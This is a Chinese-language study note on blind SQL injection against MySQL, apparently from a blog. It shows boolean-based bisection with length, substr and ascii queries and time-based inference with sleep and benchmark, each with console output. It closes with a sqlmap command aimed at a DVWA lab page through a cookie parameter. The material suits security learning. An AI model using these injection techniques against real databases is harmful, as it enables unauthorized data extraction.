盲注是因为数据库查询的结果不会直接显示在页面。只能通过构造查询语句查看反馈的结果真&假状态来判断信息。
 
实际注入手法和回显注入区别不大
下面只记录相关思路
 
select length('test'); 查看字符串长度
二分法判断数据库名字的长度
mysql> select length(database())>10;
+-----------------------+
| length(database())>10 |
+-----------------------+
|                     0 |
+-----------------------+
1 row in set (0.00 sec)
 
mysql> select length(database())>5;
+----------------------+
| length(database())>5 |
+----------------------+
|                    0 |
+----------------------+
1 row in set (0.00 sec)
 
mysql> select length(database())>3;
+----------------------+
| length(database())>3 |
+----------------------+
|                    1 |
+----------------------+
1 row in set (0.00 sec)
 
mysql> select length(database())=4;
+----------------------+
| length(database())=4 |
+----------------------+
|                    1 |
+----------------------+
1 row in set (0.00 sec)
 
mysql> select substr(database(),1,1);
+------------------------+
| substr(database(),1,1) |
+------------------------+
| d                      |
+------------------------+
1 row in set (0.00 sec)
 
mysql> select ascii(substr(database(),1,1))>64;
+----------------------------------+
| ascii(substr(database(),1,1))>64 |
+----------------------------------+
|                                1 |
+----------------------------------+
1 row in set (0.00 sec)
 
mysql> select ascii(substr(database(),1,1))>100;
+-----------------------------------+
| ascii(substr(database(),1,1))>100 |
+-----------------------------------+
|                                 0 |
+-----------------------------------+
1 row in set (0.00 sec)
 
mysql> select ascii(substr(database(),1,1))>80;
+----------------------------------+
| ascii(substr(database(),1,1))>80 |
+----------------------------------+
|                                1 |
+----------------------------------+
1 row in set (0.00 sec)
 
mysql> select ascii(substr(database(),1,1))>90;
+----------------------------------+
| ascii(substr(database(),1,1))>90 |
+----------------------------------+
|                                1 |
+----------------------------------+
1 row in set (0.00 sec)
 
mysql> select ascii(substr(database(),1,1))>95;
+----------------------------------+
| ascii(substr(database(),1,1))>95 |
+----------------------------------+
|                                1 |
+----------------------------------+
1 row in set (0.00 sec)
 
mysql> select ascii(substr(database(),1,1))>97;
+----------------------------------+
| ascii(substr(database(),1,1))>97 |
+----------------------------------+
|                                1 |
+----------------------------------+
1 row in set (0.00 sec)
 
mysql> select ascii(substr(database(),1,1))>98;
+----------------------------------+
| ascii(substr(database(),1,1))>98 |
+----------------------------------+
|                                1 |
+----------------------------------+
1 row in set (0.00 sec)
 
mysql> select ascii(substr(database(),1,1))>99;
+----------------------------------+
| ascii(substr(database(),1,1))>99 |
+----------------------------------+
|                                1 |
+----------------------------------+
1 row in set (0.00 sec)
 
mysql> select ascii(substr(database(),1,1))=100;
+-----------------------------------+
| ascii(substr(database(),1,1))=100 |
+-----------------------------------+
|                                 1 |
+-----------------------------------+
1 row in set (0.00 sec)
 
使用二分法判断出数据库第一个字母ascii码为100 对应的字母为小写d
 
另外盲注还可以通过延时来判断
mysql> select sleep(if(length(database())=4,3,0));
+-------------------------------------+
| sleep(if(length(database())=4,3,0)) |
+-------------------------------------+
|                                   0 |
+-------------------------------------+
1 row in set (3.00 sec)
 
mysql> select sleep(if(length(database())=5,3,0));
+-------------------------------------+
| sleep(if(length(database())=5,3,0)) |
+-------------------------------------+
|                                   0 |
+-------------------------------------+
1 row in set (0.00 sec)
 
mysql> select sleep(if(length(database())=5,3,0));  
通过响应返回的延时来判断信息是否正确
 
也可以用 benchmark重复执行命令函数来进行延时
mysql> select benchmark(50000,md5('test'));
 
+------------------------------+
| benchmark(50000,md5('test')) |
+------------------------------+
|                            0 |
+------------------------------+
1 row in set (0.02 sec)
 
mysql> select benchmark(5000000,md5('test'));
+--------------------------------+
| benchmark(5000000,md5('test')) |
+--------------------------------+
|                              0 |
+--------------------------------+
1 row in set (1.45 sec)
 
 
DVWA high难度
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli_blind/" -p "id" --cookie "PHPSESSID=dv9h9urfu9bf9udkd7ih6qdbj3;id=1;security=high" --level 2
查询字段在cookie内  需要设置--level 2
 
 
 

sql盲注-笔记的更多相关文章

  1. Kali学习笔记43:SQL盲注

    前面的文章都是基于目标会返回错误信息的情况进行判断是否存在SQL注入 我们可以轻易根据数据库报错信息来猜测SQL语句和注入方式 如果程序员做得比较好,不显示错误信息,这种情况下得SQL注入称为SQL盲 ...

  2. 小白日记42:kali渗透测试之Web渗透-SQL盲注

    SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...

  3. WEB安全实战(一)SQL盲注

    前言 好长时间没有写过东西了,不是不想写,仅仅只是是一直静不下心来写点东西.当然,拖了这么长的时间,也总该写点什么的.近期刚刚上手安全方面的东西,作为一个菜鸟,也本着学习的目的,就谈谈近期接触到的安全 ...

  4. [转载]sql 盲注之正则表达式攻击

    [转载]sql 盲注之正则表达式攻击 -----------------------------------------MYSQL 5+-------------------------------- ...

  5. WEB安全番外第四篇--关于SQL盲注

    一.SQL盲注: 看不到回显的,无法从返回直接读取到数据库内容的对数据的猜解,属于盲注. 二.第一种--基于布尔类型的盲注: 这种很简单,最典型的例子,就是挖SQL注入的时候常用的: ''' http ...

  6. SQL盲注

    一.首先输入1和-1 查看输入正确和不正确两种情况 二.三种注入POC LOW等级 ... where user_id =$id 输入      真  and  假 = 假 (1)...where u ...

  7. SQL盲注攻击的简单介绍

    1 简介     1.1 普通SQL注入技术概述     目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]:     (1) 脚本注入式的攻击     (2) 恶意用户输 ...

  8. Web系统常见安全漏洞及解决方案-SQL盲注

    关于web安全测试,目前主要有以下几种攻击方法: 1.XSS 2.SQL注入 3.跨目录访问 4.缓冲区溢出 5.cookies修改 6.Htth方法篡改(包括隐藏字段修改和参数修改) 7.CSRF ...

  9. SQL盲注工具BBQSQL

    SQL盲注工具BBQSQL   SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具 ...

随机推荐

  1. zabbix监控Nginx模板

    前提条件: nginx模块安装了http_stub_status_module和nginx_upstream_check_module: 在nginx的配置文件中配置上: location /stat ...

  2. 浅谈js获取客户端IP

    JS前端获取客户端IP的方法基本都是通过三方接口: 常用的方法1: <script src="http://pv.sohu.com/cityjson?ie=utf-8"> ...

  3. Scrapy学习(二)、安装及项目结构

    一.安装 1.安装pywin32,下载地址:https://sourceforge.net/projects/pywin32/files/pywin32/ 我选择的是Build 221,点进去,根据自 ...

  4. Spark译文(一)

    Spark Overview(Spark概述) ·Apache Spark是一种快速通用的集群计算系统. ·它提供Java,Scala,Python和R中的高级API,以及支持通用执行图的优化引擎. ...

  5. String Compression

    F. String Compression 利用dp和前缀数组来写 dp[i] 所表示的东西是 字符串 s[0:i] (不包括 s[i])能够压缩的最短长度 bj[i][j] 表示的是字符串 s[i: ...

  6. Linux安装并使用Ludwig训练模型

    一.在Python3环境安装Ludwig: 1.使用pip安装:pip install ludwig 2.源码编译安装: git clone git@github.com:uber/ludwig.gi ...

  7. [CSP-S模拟测试]:打表(猜测题意+结论)

    题目传送门(内部题139) 输入格式 第一行两个整数$k,ans$,表示内存地址$A$的位数,以及答案所在的内存地址. 接下来一行$2^k$个整数,分别表示内存地址$0...2^k-1$上的值. 输出 ...

  8. java基本数据类型全面总结

    Java数据类型(type)可以分为两大类:基本类型(primitive types)和引用类型(reference types).下面是Java团长给大家整理的java基本数据类型相关知识,感兴趣的 ...

  9. Java-Thread 线程

    一.进程与线程的概念 进程和线程都是一个CPU工作时间段的描述,只是关注点不同. 进程(Process): 资源(CPU,内存等,文件,网络等)分配的基本单位.系统中有很多进程,它们都会使用内存.为了 ...

  10. QBXT七月D1

    今天是lyd神仙讲课的第一天,可以感觉到的是这位神仙有着不同于他人的气质,比如他的表情包(雾) 好了来讲正经的) 今天讲的比较多的是模拟算法和一些比赛中的好习惯 high-level 这个名词的大体意 ...